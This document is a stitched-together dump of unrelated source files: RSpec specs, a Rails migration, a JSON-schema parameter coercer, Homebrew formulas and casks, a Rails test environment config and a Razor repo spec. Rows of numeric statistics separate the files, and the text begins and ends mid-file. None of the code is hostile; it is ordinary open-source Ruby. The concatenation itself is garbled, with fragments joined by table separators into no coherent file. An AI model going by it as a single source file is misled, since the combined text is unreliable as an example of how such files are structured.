allow(result).to receive(:state).and_return(state)
allow(result).to receive(:exception).and_return(exception)
end
before do
allow(step).to receive(:name).and_return 'the scenario is passing'
allow(step).to receive(:keyword).and_return 'Given'
end
before do
allow(scenario).to receive(:feature).and_return(feature)
allow(scenario).to receive(:steps).and_return(steps)
allow(scenario).to receive(:name).and_return 'Running the scenario'
allow(scenario).to receive(:file).and_return \
File.join(Dir.getwd, 'features', 'file.feature')
allow(scenario).to receive(:line).and_return 5
end
before do
allow(feature).to receive(:backgrounds).and_return(backgrounds)
allow(feature).to receive(:name).and_return 'Demo feature'
allow(feature).to receive(:file).and_return \
File.join(Dir.getwd, 'features', 'file.feature')
allow(feature).to receive(:line).and_return 1
allow(feature).to receive(:description).and_return \
"As a developer\n" \
"I would like have this spec passed\n" \
'In order to work on'
end
context 'with step passing' do
let(:state) { :passed }
it { is_expected.to eq '' }
end
context 'with step pending' do
let(:state) { :pending }
it { is_expected.to eq '' }
end
context 'with step nil' do
let(:state) { nil }
it { is_expected.to eq '' }
end
context 'with step failing' do
let(:state) { :failed }
before do
error = instance_double 'RuntimeError'
cause = instance_double 'IOError'
allow(error).to receive(:class).and_return(RuntimeError)
allow(error).to receive(:message).and_return('An error occurred')
allow(error).to receive(:backtrace).and_return([
'/path/to/file.rb:5:in `block (4 levels) in <top (required)>\'',
'/path/to/file.rb:24:in in `fail_with\''
])
allow(error).to receive(:cause).and_return(cause)
allow(cause).to receive(:class).and_return(IOError)
allow(cause).to receive(:message).and_return('Socket closed')
allow(cause).to receive(:backtrace).and_return([
'script.rb:5:in `a\'',
'script.rb:10:in `b\''
])
allow(result).to receive(:exception).and_return error
end
it do
expect(out).to eq unindent <<~TEXT
.E
.Feature: Demo feature # features/file.feature:1
. Scenario: Running the scenario # features/file.feature:5
. Given the scenario is passing
. RuntimeError: An error occurred
. /path/to/file.rb:5:in `block (4 levels) in <top (required)>'
. /path/to/file.rb:24:in in `fail_with'
. caused by: IOError: Socket closed
. script.rb:5:in `a'
. script.rb:10:in `b'
.
.
TEXT
end
end
end
describe '#retry_scenario' do
let(:action) { [:retry_scenario, scenario] }
it { is_expected.to eq '' }
end
describe '#after_scenario' do
let(:action) { [:after_scenario, scenario] }
before do
allow(scenario).to receive(:failed?).and_return(false)
allow(scenario).to receive(:passed?).and_return(true)
allow(scenario).to receive(:pending?).and_return(false)
end
it { is_expected.to eq '.' }
context '<failed>' do
before do
allow(scenario).to receive(:failed?).and_return(true)
end
it { is_expected.to eq '' }
end
context '<pending>' do
before do
allow(scenario).to receive(:pending?).and_return(true)
end
it { is_expected.to eq '?' }
end
end
describe '#after_feature' do
let(:action) { [:after_feature, feature] }
it { is_expected.to eq '' }
end
describe '#after_features' do
let(:action) { [:after_features, []] }
it do
expect(out).to eq unindent <<~TEXT
.
.
.0 scenarios: 0 passed, 0 failing, 0 pending
.
TEXT
end
end
end
| 26.568627 | 79 | 0.607749 |
4a030d8e18d240870ec6886cd176cb9a7675d4be | 401 | class CreateNotificationDelivers < ActiveRecord::Migration[5.1]
def change
create_table :notification_delivers do |t|
t.references :notification, foreign_key: true
t.references :smtp_setting, foreign_key: true
t.references :notification_content, foreign_key: true
t.string :delivery_method
t.boolean :is_active, default: false
t.timestamps
end
end
end
| 28.642857 | 63 | 0.72818 |
79ce6dcc297e2a15e058f9cdf745b5723a31a310 | 3,180 | module Committee
# StringParamsCoercer takes parameters that are specified over a medium that
# can only accept strings (for example in a URL path or in query parameters)
# and attempts to coerce them into known types based of a link's schema
# definition.
#
# Currently supported types: null, integer, number and boolean.
#
# +call+ returns a hash of all params which could be coerced - coercion
# errors are simply ignored and expected to be handled later by schema
# validation.
class SchemaValidator::HyperSchema::StringParamsCoercer
def initialize(query_hash, schema, options = {})
@query_hash = query_hash
@schema = schema
@coerce_recursive = options.fetch(:coerce_recursive, false)
end
def call!
coerce_object!(@query_hash, @schema)
end
private
def coerce_object!(hash, schema)
return false unless schema.respond_to?(:properties)
is_coerced = false
schema.properties.each do |k, s|
original_val = hash[k]
unless original_val.nil?
new_value, is_changed = coerce_value!(original_val, s)
if is_changed
hash[k] = new_value
is_coerced = true
end
end
end
is_coerced
end
def coerce_value!(original_val, s)
unless original_val.nil?
s.type.each do |to_type|
case to_type
when "null"
return nil, true if original_val.empty?
when "integer"
begin
return Integer(original_val), true
rescue ArgumentError => e
raise e unless e.message =~ /invalid value for Integer/
end
when "number"
begin
return Float(original_val), true
rescue ArgumentError => e
raise e unless e.message =~ /invalid value for Float/
end
when "boolean"
if original_val == "true" || original_val == "1"
return true, true
end
if original_val == "false" || original_val == "0"
return false, true
end
when "array"
if @coerce_recursive && coerce_array_data!(original_val, s)
return original_val, true # change original value
end
when "object"
if @coerce_recursive && coerce_object!(original_val, s)
return original_val, true # change original value
end
end
end
end
return nil, false
end
def coerce_array_data!(original_val, schema)
return false unless schema.respond_to?(:items)
return false unless original_val.is_a?(Array)
is_coerced = false
original_val.each_with_index do |d, index|
new_value, is_changed = coerce_value!(d, schema.items)
if is_changed
original_val[index] = new_value
is_coerced = true
end
end
is_coerced
end
end
end
| 31.8 | 78 | 0.564465 |
39a14b48d852ae934968340aa5f23cd5acf16c29 | 414 | require 'base_kde_formula'
class KdeL10nBs < BaseKdeFormula
homepage 'http://www.kde.org/'
url 'http://download.kde.org/stable/4.10.2/src/kde-l10n/kde-l10n-bs-4.10.2.tar.xz'
sha1 '572f0b347577ed702d4fc4acc2eaac9b19e7b3d9'
devel do
url 'http://download.kde.org/stable/4.10.2/src/kde-l10n/kde-l10n-bs-4.10.2.tar.xz'
sha1 '572f0b347577ed702d4fc4acc2eaac9b19e7b3d9'
end
depends_on 'kdelibs'
end
| 27.6 | 86 | 0.743961 |
01812be9501cdf42e5625ccdbcb8850a7d4a48d6 | 2,032 | # The test environment is used exclusively to run your application's
# test suite. You never need to work with it otherwise. Remember that
# your test database is "scratch space" for the test suite and is wiped
# and recreated between test runs. Don't rely on the data there!
Rails.application.configure do
# Verifies that versions and hashed value of the package contents in the project's package.json
config.webpacker.check_yarn_integrity = false
# Settings specified here will take precedence over those in config/application.rb.
config.cache_classes = true
# Do not eager load code on boot. This avoids loading your whole application
# just for the purpose of running a single test. If you are using a tool that
# preloads Rails for running tests, you may have to set it to true.
config.eager_load = false
# Configure public file server for tests with Cache-Control for performance.
config.public_file_server.enabled = true
config.public_file_server.headers = {
'Cache-Control' => "public, max-age=#{1.hour.to_i}"
}
# Show full error reports and disable caching.
config.consider_all_requests_local = true
config.action_controller.perform_caching = false
config.action_mailer.default_url_options = { :host => 'localhost' }
config.cache_store = :null_store
# Raise exceptions instead of rendering exception templates.
config.action_dispatch.show_exceptions = false
# Disable request forgery protection in test environment.
config.action_controller.allow_forgery_protection = false
config.action_mailer.perform_caching = false
# Tell Action Mailer not to deliver emails to the real world.
# The :test delivery method accumulates sent emails in the
# ActionMailer::Base.deliveries array.
config.action_mailer.delivery_method = :test
# Print deprecation notices to the stderr.
config.active_support.deprecation = :stderr
# Raises error for missing translations.
# config.action_view.raise_on_missing_translations = true
config.log_level = :info
end
| 39.843137 | 97 | 0.77313 |
9133fc2ddd66c728b47fb7bab966ee7d2e12df27 | 5,498 | class RemoveMoreUnstandardLocales < ActiveRecord::Migration
# Redefine all Active Record models, so that the migration doesn't depend on the version of code
module MigrationModel
class Community < ApplicationRecord
has_many :categories, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::Category"
has_many :community_customizations, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::CommunityCustomization"
has_many :custom_fields, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::CustomField"
has_many :menu_links, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::MenuLink"
serialize :settings, Hash
def locales
Maybe(settings)["locales"].or_else([])
end
end
class Category < ApplicationRecord
has_many :translations, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::CategoryTranslation"
end
class CategoryTranslation < ApplicationRecord
belongs_to :category, touch: true, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::Category"
end
class CommunityCustomization < ApplicationRecord
end
class CustomField < ApplicationRecord
has_many :names, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::CustomFieldName"
has_many :options, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::CustomFieldOption"
# Ignore STI and 'type' column
self.inheritance_column = nil
end
class CustomFieldName < ApplicationRecord
belongs_to :custom_field, touch: true, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::CustomField"
end
class CustomFieldOption < ApplicationRecord
has_many :titles, :foreign_key => "custom_field_option_id", class_name: "::RemoveMoreUnstandardLocales::MigrationModel::CustomFieldOptionTitle"
end
class CustomFieldOptionTitle < ApplicationRecord
belongs_to :custom_field_option, touch: true, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::CustomFieldOption"
end
class MenuLink < ApplicationRecord
has_many :translations, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::MenuLinkTranslation"
end
class MenuLinkTranslation < ApplicationRecord
belongs_to :menu_link, touch: true, class_name: "::RemoveMoreUnstandardLocales::MigrationModel::MenuLink"
end
class CommunityTranslation < ApplicationRecord
end
end
LANGUAGE_MAP = {
"en-qr" => "en",
"en-at" => "en",
"fr-at" => "fr"
}
UNSTANDARD_LANGUAGES = LANGUAGE_MAP.keys.to_set
def up
communities = communities_w_unstandard_locales(UNSTANDARD_LANGUAGES)
puts ""
puts "-- Removing unstandard locales"
puts ""
ActiveRecord::Base.transaction do
communities.each do |(c, all_unstandard_locales)|
all_unstandard_locales.each do |unstandard_locale|
fallback = LANGUAGE_MAP[unstandard_locale]
# Set up the fallback locale (if it's not already there)
if !c.locales.include?(fallback)
change_locale(community: c, from: unstandard_locale, to: fallback)
replace_locale_settings(community: c, from: unstandard_locale, to: fallback)
else
puts "-- WARNING: Community #{c.ident} has unstandard locale #{unstandard_locale}, but it already has the fallback locale #{fallback}"
remove_locale_settings(community: c, locale: unstandard_locale)
end
puts "Changed locale from: #{unstandard_locale} to: #{fallback} for community: #{c.ident}"
end
end
end
end
def down
# noop
end
private
def communities_w_unstandard_locales(unstandard_locales)
comms_w_unstandard_locale = []
puts ""
puts "-- Searching communities with unstandard locales"
puts ""
where_unstandard_locales(MigrationModel::Community, unstandard_locales).each do |c|
intersection = c.locales.to_set.intersection(unstandard_locales)
if !intersection.empty?
comms_w_unstandard_locale << [c, intersection]
end
end
comms_w_unstandard_locale
end
def where_unstandard_locales(community_model, unstandard_locales)
query = unstandard_locales.map { |l|
"settings LIKE '%#{l}%'"
}.join(" OR ")
community_model.where(query)
end
def change_locale(community:, from:, to:)
[
community.categories.flat_map(&:translations),
community.community_customizations,
community.custom_fields.flat_map(&:names),
community.custom_fields.flat_map(&:options).flat_map(&:titles),
community.menu_links.flat_map(&:translations)
].map do |models|
models.select { |m| m.locale == from }
end.each do |models|
change_model_locale(models, to)
end
MigrationModel::CommunityTranslation.where(community_id: community.id, locale: from).update_all(locale: to)
Rails.cache.delete("/translation_service/community/#{community.id}")
end
def change_model_locale(models, new_locale)
models.each { |m|
m.update_attribute(:locale, new_locale)
}
end
def remove_locale_settings(community:, locale:)
community.settings["locales"] = community.settings["locales"] - [locale]
community.save!
end
def replace_locale_settings(community:, from:, to:)
community.settings["locales"] = community.settings["locales"].map { |l|
if l == from
to
else
l
end
}
community.save!
end
end
| 32.532544 | 149 | 0.71335 |
0858463d3b7f477e4c7144040d569395d898bc75 | 536 | require File.expand_path(File.join(File.dirname(__FILE__), 'image_processor_test_common'))
require 'processors/gdk_pixbuf'
class GdkPixbufProcessorTest < ActiveSupport::TestCase
class GdkPixbufTestModel
include AttachmentSaver::InstanceMethods
include AttachmentSaver::Processors::GdkPixbuf
include ImageProcessorTestModel
end
def processor_model
GdkPixbufTestModel
end
def processor_exception
GdkPixbufProcessorError
end
include ImageProcessorTests
def saves_to_gif_format?
false
end
end
| 21.44 | 90 | 0.804104 |
1167e5c9e02d6ccfde804ff9b98bffc115d8a59e | 640 | require File.join(File.dirname(__FILE__), "..", "..", "test_helper")
require 'mocha/parameter_matchers/kind_of'
require 'mocha/inspect'
class KindOfTest < Test::Unit::TestCase
include Mocha::ParameterMatchers
def test_should_match_object_that_is_a_kind_of_specified_class
matcher = kind_of(Integer)
assert matcher.matches?([99])
end
def test_should_not_match_object_that_is_not_a_kind_of_specified_class
matcher = kind_of(Integer)
assert !matcher.matches?(['string'])
end
def test_should_describe_matcher
matcher = kind_of(Integer)
assert_equal "kind_of(Integer)", matcher.mocha_inspect
end
end
| 24.615385 | 72 | 0.767188 |
61b934bb49a1601ee2675996a8fac8c4f6c395ac | 541 | cask 'memory-tracker-by-timely' do
version '1.2.3'
sha256 '8795e6d411b47a06c40807789d95a5994f697e9d334db389dcf9c118ab1bff4e'
# timelytimetracking.s3.amazonaws.com was verified as official when first introduced to the cask
url 'https://timelytimetracking.s3.amazonaws.com/mac_tracker/Memory%20Tracker%20by%20Timely.zip'
appcast 'https://timelytimetracking.s3.amazonaws.com/mac_tracker/sparkle.xml'
name 'Memory Tracker by Timely'
homepage 'https://timelyapp.com/'
auto_updates true
app 'Memory Tracker by Timely.app'
end
| 36.066667 | 98 | 0.794824 |
1d8df107963a4f977ca8eb5d65bd008ee9617b48 | 590 | class MavenCompletion < Formula
desc "Bash completion for Maven"
homepage "https://github.com/juven/maven-bash-completion"
url "https://github.com/juven/maven-bash-completion/archive/20200420.tar.gz"
sha256 "eb4ef412d140e19e7d3ce23adb7f8fcce566f44388cfdc8c1e766a3c4b183d3d"
license "Apache-2.0"
head "https://github.com/juven/maven-bash-completion.git"
bottle :unneeded
def install
bash_completion.install "bash_completion.bash" => "maven"
end
test do
assert_match "-F _mvn",
shell_output("source #{bash_completion}/maven && complete -p mvn")
end
end
| 29.5 | 78 | 0.749153 |
d5ea36fa28aa249610cdfb64953a15baccf2e9ab | 1,155 | cask '[email protected]' do
version '2019.1.0a13,3de2277bb0e6'
sha256 :no_check
url "https://download.unity3d.com/download_unity/3de2277bb0e6/MacEditorTargetInstaller/UnitySetup-Facebook-Games-Support-for-Editor-2019.1.0a13.pkg"
name 'Facebook Gameroom Build Support'
homepage 'https://unity3d.com/unity/'
pkg 'UnitySetup-Facebook-Games-Support-for-Editor-2019.1.0a13.pkg'
depends_on cask: '[email protected]'
preflight do
if File.exist? "/Applications/Unity"
FileUtils.move "/Applications/Unity", "/Applications/Unity.temp"
end
if File.exist? "/Applications/Unity-2019.1.0a13"
FileUtils.move "/Applications/Unity-2019.1.0a13", '/Applications/Unity'
end
end
postflight do
if File.exist? '/Applications/Unity'
FileUtils.move '/Applications/Unity', "/Applications/Unity-2019.1.0a13"
end
if File.exist? '/Applications/Unity.temp'
FileUtils.move '/Applications/Unity.temp', '/Applications/Unity'
end
end
uninstall quit: 'com.unity3d.UnityEditor5.x',
delete: '/Applications/Unity-2019.1.0a13/PlaybackEngines/Facebook'
end
| 32.083333 | 150 | 0.722078 |
1c0420c13a96c56df524faf59f5f5b213d3f2004 | 494 | # This migration comes from refinery_copywriting (originally 4)
class AddRefineryPrefixToTables < ActiveRecord::Migration
def self.up
rename_table :copywriting_phrases, :refinery_copywriting_phrases
rename_table :copywriting_phrase_translations, :refinery_copywriting_phrase_translations
end
def self.down
rename_table :refinery_copywriting_phrases, :copywriting_phrases
rename_table :refinery_copywriting_phrase_translations, :copywriting_phrase_translations
end
end | 35.285714 | 92 | 0.84413 |
180a213c4032874041e281ee314f4f9a4a82b104 | 2,658 | # frozen_string_literal: true
describe Balance, type: :model do
describe 'Scopes' do
describe 'should_be_notified' do
subject { described_class.should_be_notified }
let(:user) { create(:user) }
context do
before { create(:balance, notified_at: nil, user: user) }
it { is_expected.to be_present }
end
context do
before { create(:balance, notified_at: 23.hours.ago, user: user) }
it { is_expected.to be_empty }
end
context do
before { create(:balance, notified_at: 1.day.ago, user: user) }
it { is_expected.to be_present }
end
end
end
describe 'Validations' do
it { is_expected.to validate_presence_of(:user) }
it { is_expected.to validate_presence_of(:amount) }
it { is_expected.to validate_presence_of(:price_per_item) }
it { is_expected.to validate_presence_of(:profit_percent) }
it { is_expected.to validate_presence_of(:strategy) }
it { is_expected.to validate_numericality_of(:amount).is_greater_than_or_equal_to(0.000001) }
it { is_expected.to validate_numericality_of(:amount).is_less_than_or_equal_to(999999) }
it { is_expected.to validate_numericality_of(:profit_percent).is_greater_than_or_equal_to(0.01) }
it { is_expected.to validate_numericality_of(:profit_percent).is_less_than_or_equal_to(999999) }
it { is_expected.to validate_numericality_of(:price_per_item).is_greater_than_or_equal_to(0.000001) }
it { is_expected.to validate_numericality_of(:price_per_item).is_less_than_or_equal_to(999999) }
end
describe '#mark_as_notified!' do
let(:balance) { create(:balance, notified_at: nil) }
before { balance.mark_as_notified! }
it 'updates notified_at property' do
expect(balance.notified_at).not_to be_nil
end
end
describe '#invested' do
let(:balance) { create(:balance, amount: 10, price_per_item: 10) }
it 'returns invested money' do
expect(balance.invested).to eq(100)
end
end
describe '#current_price_per_item' do
let(:balance) { create(:balance) }
let!(:currency) { create(:currency) }
it { expect(balance.current_price_per_item).to eq(currency.price) }
end
describe '#current_balance_price' do
let(:balance) { create(:balance, amount: 2) }
let!(:currency) { create(:currency, price: 15) }
it { expect(balance.current_balance_price).to eq(30) }
end
describe '#current_profit_percent' do
let(:balance) { create(:balance, amount: 1, price_per_item: 10) }
let!(:currency) { create(:currency, price: 15) }
it { expect(balance.current_profit_percent).to eq(0.5) }
end
end
| 31.270588 | 105 | 0.698646 |
f7d75c09e30eea8fc418029b0f9f3025ceb2bb19 | 2,676 | module ColumnPack
# Arranges elements into bins using a simple one dimensional bin packing algorithm.
class BinPacker
# Uses a fixed number of bins (total_bins).
#
# Options:
# :algorithm specify a different bin packing algorithm (default :best_fit_decreasing)
# available algorithms are :best_fit_decreasing, :best_fit_increasing
#
# :shuffle_in_col after packing columns, shuffle the elements in each column (defaults to true)
#
def initialize(total_bins, options = {})
raise ArgumentError.new("Must choose a number of bins greater than zero") if total_bins <= 0
@total_bins = total_bins
@algorithm = options[:algorithm] || :best_fit_decreasing
if options.has_key? :shuffle_in_col
@shuffle_in_col = options[:shuffle_in_col]
else
@shuffle_in_col = true
end
@elements = []
@needs_packing = true
end
# Adds element to be packed.
def add(size, content)
raise ArgumentError.new("Bin size must be greater than zero") if size <= 0
@elements << {:size => size.to_i, :content => content}
@needs_packing = true
end
# Returns a packed multi-dimensional array of elements.
def bins
pack_all if @needs_packing
@bins
end
# Total empty space left over by uneven packing.
def empty_space
pack_all if @needs_packing
max = @sizes.each.max
space = 0
@sizes.each { |size| space += max - size }
space
end
private
def pack_all
@bins = Array.new(@total_bins) {Array.new}
@sizes = Array.new(@total_bins, 0)
self.send(@algorithm)
tall_to_middle
shuffle_within_cols if @shuffle_in_col
@needs_packing = false
end
def best_fit_decreasing
@elements.sort_by! { |e| e[:size] }
@elements.reverse!
best_fit
end
def best_fit_increasing
@elements.sort_by! { |e| e[:size] }
best_fit
end
def best_fit
@elements.each do |element|
_, col = @sizes.each_with_index.min
pack(col, element)
end
end
def shuffle_within_cols
@bins.each { |bin| bin.shuffle! }
end
# moves the tallest bin to the middle
def tall_to_middle
if (@total_bins > 1) && ((@total_bins % 2) != 0)
_, max_col = @sizes.each_with_index.max
mid_col = @total_bins / 2
temp = @bins[mid_col].clone
@bins[mid_col] = @bins[max_col]
@bins[max_col] = temp
end
end
def pack(col, element)
@bins[col] << element[:content]
@sizes[col] += element[:size].to_i
end
end
end
| 25.009346 | 101 | 0.616218 |
1d3074705ad4acd2b9cd81ed9a2db22f18ff7b4a | 3,915 | require 'rubygems'
require 'puppetlabs_spec_helper/module_spec_helper'
fixture_path = File.expand_path(File.join(__FILE__, '..', 'fixtures'))
RSpec.configure do |c|
c.hiera_config = File.join(fixture_path, 'hiera/hiera.yaml')
end
RSpec.configure do |c|
c.before do
@ubuntu_facts = {
:kernel => 'Linux',
:osfamily => 'Debian',
:operatingsystem => 'Ubuntu',
:operatingsystemrelease => '14.04',
:operatingsystemmajrelease => '14.04',
# LSB Utils
:lsbdistid => 'Ubuntu',
:lsbdistcodename => 'trusty',
:lsbdistrelease => '14.04',
# Concat
:concat_basedir => '/tmp',
:id => 'root',
:path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
# WGET
:http_proxy => '',
:https_proxy => '',
# :processorcount => 1, # Monit
# :memorysize => '2.00 GB', # Memcache
#
# :domain => 'rcswimax.com',
# :public_ipv4 => '192.168.100.200', # DNS Role ??
# :ipaddress => '192.168.1.1',
#
# :clientcert => 'ubuntu', # For Hiera
# :fqdn => 'ubuntu.rcswimax.com', # Elasticsearch
#
:puppetversion => '4.3.2',
# :facterversion => '2.2.1',
# :interfaces => 'lo,eth0',
# :blockdevices => 'sda,sr0',
# :rubysitedir => '/opt/puppetlabs/puppet/a/b/c',
# :php_version => '5.4',
# :freeradius_version => '2',
# :virtualenv_version => '1.11.4',
# :collectd_version => '5.4.0-git',
# :dashboard_version => '2.0.0-beta1',
# :augeasversion => '1.2.0', # kmod
}
@centos_facts = {
:kernel => 'Linux',
:osfamily => 'RedHat',
:operatingsystem => 'CentOS',
:operatingsystemrelease => '7.0',
:operatingsystemmajrelease => '7',
# LSB Utils
:lsbdistcodename => 'Core',
:lsbdistid => 'CentOS',
:lsbdistrelease => "7.1.1503",
:lsbmajdistrelease => '7',
:lsbminordistrelease => '1',
# Concat
:concat_basedir => '/tmp',
:id => 'root',
:path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
# WGET
:http_proxy => '',
:https_proxy => '',
# :processorcount => 1, # Monit
# :memorysize => '2.00 GB', # Memcache
#
# :domain => 'rcswimax.com',
# :public_ipv4 => '192.168.100.200', # DNS Role ??
# :ipaddress => '192.168.1.1',
#
# :clientcert => 'centos', # For Hiera
# :fqdn => 'centos.rcswimax.com', # Elasticsearch
#
:puppetversion => '4.3.2',
# :facterversion => '2.2.1',
# :interfaces => 'lo,eth0',
# :blockdevices => 'sda,sr0',
# :rubysitedir => '/opt/puppetlabs/puppet/a/b/c',
# :php_version => '5.4',
# :sudoversion => '1.7.3',
# :freeradius_version => '2',
# :virtualenv_version => '1.11.4',
# :collectd_version => '5.4.0-git',
# :dashboard_version => '2.0.0-beta1',
# :augeasversion => '1.2.0', # kmod
}
end
end | 37.285714 | 99 | 0.403831 |
91f117f319e8cd2bd4890590d2abe1eb38b61dc0 | 16,767 | # coding: utf-8
require_relative "../spec_helper"
require 'tempfile'
require 'tmpdir'
require 'webrick'
describe Razor::Data::Repo do
include TorqueBox::Injectors
let :queue do fetch('/queues/razor/sequel-instance-messages') end
context "name" do
(0..31).map {|n| n.chr(Encoding::UTF_8) }.map(&:to_s).each do |char|
it "should reject control characters (testing: #{char.inspect})" do
repo = Repo.new(:name => "hello #{char} world", :iso_url => 'file:///')
repo.should_not be_valid
expect { repo.save }.to raise_error Sequel::ValidationFailed
end
end
it "should reject the `/` character in names" do
repo = Repo.new(:name => "hello/goodbye", :iso_url => 'file:///')
repo.should_not be_valid
expect { repo.save }.to raise_error Sequel::ValidationFailed
end
# A list of Unicode 6.0 whitespace, yay!
[
?\u0009, # horizontal tab
?\u000A, # newline
?\u000B, # vertical tab
?\u000C, # new page
?\u000D, # carriage return
?\u0020, # space
?\u0085, # NEL, Next line
?\u00A0, # no-break space
?\u1680, # ogham space mark
?\u180E, # mongolian vowel separator
?\u2000, # en quad
?\u2001, # em quad
?\u2002, # en space
?\u2003, # em space
?\u2004, # three-per-em
?\u2005, # four-per-em
?\u2006, # six-per-em
?\u2007, # figure space
?\u2008, # punctuation space
?\u2009, # thin space
?\u200A, # hair space
?\u2028, # line separator
?\u2029, # paragraph separator
?\u202F, # narrow no-break space
?\u205F, # medium mathematical space
?\u3000 # ideographic space
].each do |ws|
context "with whitespace (#{format('\u%04x', ws.ord)})" do
url = 'file:///dev/null'
context "in Ruby" do
it "should be rejected at the start" do
Repo.new(:name => "#{ws}name", :iso_url => url).
should_not be_valid
end
it "should be rejected at the end" do
Repo.new(:name => "name#{ws}", :iso_url => url).
should_not be_valid
end
# Fair warning: what with using a regex for validation, this is a
# common failure mode, and not in fact redundant to the checks above.
it "should be rejected at both the start and the end" do
Repo.new(:name => "#{ws}name#{ws}", :iso_url => url).
should_not be_valid
end
if ws.ord >= 0x20 then
it "should accept the whitespace in the middle of a name" do
Repo.new(:name => "hello#{ws}world", :iso_url => url).
should be_valid
end
end
end
context "in PostgreSQL" do
it "should be rejected at the start" do
expect {
Repo.dataset.insert(:name => "#{ws}name", :iso_url => url)
}.to raise_error Sequel::CheckConstraintViolation
end
it "should be rejected at the end" do
expect {
Repo.dataset.insert(:name => "name#{ws}", :iso_url => url)
}.to raise_error Sequel::CheckConstraintViolation
end
# Fair warning: what with using a regex for validation, this is a
# common failure mode, and not in fact redundant to the checks above.
it "should be rejected at both the start and the end" do
expect {
Repo.dataset.insert(:name => "#{ws}name#{ws}", :iso_url => url)
}.to raise_error Sequel::CheckConstraintViolation
end
if ws.ord >= 0x20 then
it "should accept the whitespace in the middle of a name" do
# As long as we don't raise, we win.
Repo.dataset.insert(:name => "hello#{ws}world", :iso_url => url)
end
end
end
end
end
# Using 32 characters at a time here is a trade-off: it is much faster
# than running validation on each character uniquely, which has a fairly
# high start-up overhead. On the other hand, with the shuffle it gives
# reasonable statistical probability that a flaw in the validation will
# eventually be captured. Given we report the PRNG seed, we can also
# reproduce the test... this does require Ruby 1.9 to function.
# --daniel 2013-06-24
prng = Random.new
context "statistical validation with prng: #{prng.seed}" do
banned = [
0x0009, # horizontal tab
0x000A, # newline
0x000B, # vertical tab
0x000C, # new page
0x000D, # carriage return
0x0020, # space
0x002F, # forward slash
0x0085, # NEL, Next line
0x00A0, # no-break space
0x1680, # ogham space mark
0x180E, # mongolian vowel separator
0x2000, # en quad
0x2001, # em quad
0x2002, # en space
0x2003, # em space
0x2004, # three-per-em
0x2005, # four-per-em
0x2006, # six-per-em
0x2007, # figure space
0x2008, # punctuation space
0x2009, # thin space
0x200A, # hair space
0x2028, # line separator
0x2029, # paragraph separator
0x202F, # narrow no-break space
0x205F, # medium mathematical space
0x3000 # ideographic space
]
(32..0x266b).
reject{|x| banned.member? x }.
shuffle(random: prng).
each_slice(32) do |c|
string = c.map{|n| n.chr(Encoding::UTF_8)}.join('')
display = "\\u{#{c.map{|n| n.to_s(16)}.join(' ')}}"
# If you came here seeking understanding, the `\u{1 2 3}` form is a
# nice way of escaping the characters so that your terminal doesn't
# spend a while loading literally *every* Unicode code point from
# fallback fonts when you use, eg, the documentation formatter.
#
# Internally this is testing on the actual *characters*.
it "accept all legal characters: string \"#{display}\"" do
Repo.new(:iso_url => 'file:///', :name => string).save.should be_valid
end
end
end
context "aggressive Unicode support" do
[ # You are not expected to understand this text.
"ÆtherÜnikérûn", "काkāὕαΜπΜπ", "Pòîê᚛᚛ᚉᚑᚅᛁ", "ᚳ᛫æðþȝaɪkæ", "n⠊⠉⠁ᛖᚴярса",
"нЯškłoმინა", "სԿրնամجامআ", "মিमीकನನಗका", "चநான்నేనుම", "ටවීکانشيشم",
"یأناאנאיɜn", "yɜإِنက္ယ္q", "uốcngữ些世ខ្", "ញຂອ້ຍฉันกิ", "मकाཤེལ我能吞我",
"能私はガラ나는유리ᓂ", "ᕆᔭᕌᖓ",
].each do |name|
url = 'file:///dev/null'
it "should accept the name #{name.inspect}" do
repo = Repo.new(:name => name, :iso_url => url)
repo.should be_valid
end
it "should round-trip the name #{name.inspect} through the database" do
repo = Repo.new(:name => name, :iso_url => url).save
Repo.find(:name => name).should == repo
end
end
end
end
[:url, :iso_url].each do |url_name|
context url_name.to_s do
[
'http://example.com/foobar',
'http://example/foobar',
'http://example.com/',
'http://example.com',
'https://foo.example.com/repo.iso',
'file:/dev/null',
'file:///dev/null'
].each do |url|
it "should accept a basic URL #{url.inspect}" do
# save to push validation through the database, too.
Repo.new(:name => 'foo', url_name => url).save.should be_valid
end
end
[
'ftp://example.com/foo.iso',
'file://example.com/dev/null',
'file://localhost/dev/null',
'http:///vmware.iso',
'https:///vmware.iso',
"http://example.com/foo\tbar",
"http://example.com/foo\nbar",
"http://example.com/foo\n",
'http://example.com/foo bar'
].each do |url|
it "Ruby should reject invalid URL #{url.inspect}" do
Repo.new(:name => 'foo', :iso_url => url).should_not be_valid
end
it "PostgreSQL should reject invalid URL #{url.inspect}" do
expect {
Repo.dataset.insert(:name => 'foo', :iso_url => url)
}.to raise_error Sequel::CheckConstraintViolation
end
end
end
end
context "url and iso_url" do
it "should reject setting both" do
Repo.new(:name => 'foo', :url => 'http://example.org/',
:iso_url => 'http://example.com').should_not be_valid
end
it "should require setting one of them" do
Repo.new(:name => 'foo').should_not be_valid
end
end
context "after creation" do
it "should automatically 'make_the_repo_accessible'" do
repo = Repo.new(:name => 'foo', :iso_url => 'file:///')
expect {
repo.save
}.to have_published(
'class' => repo.class.name,
# Because we can't look into the future and see what that the PK will
# be without saving, but we can't save without publishing the message
# and spoiling the test, we have to check this more liberally...
'instance' => include(:id => be),
'message' => 'make_the_repo_accessible'
).on(queue)
end
end
context "make_the_repo_accessible" do
context "with file URLs" do
let :tmpfile do Tempfile.new(['make_the_repo_accessible', '.iso']) end
let :path do tmpfile.path end
let :repo do Repo.new(:name => 'test', :iso_url => "file://#{path}") end
it "should raise (to trigger a retry) if the repo is not readable" do
File.chmod(00000, path) # yes, *no* permissions, thanks
expect {
repo.make_the_repo_accessible
}.to raise_error RuntimeError, /unable to read local file/
end
it "should publish 'unpack_repo' if the repo is readable" do
expect {
repo.make_the_repo_accessible
}.to have_published(
'class' => repo.class.name,
'instance' => repo.pk_hash,
'message' => 'unpack_repo',
'arguments' => [path]
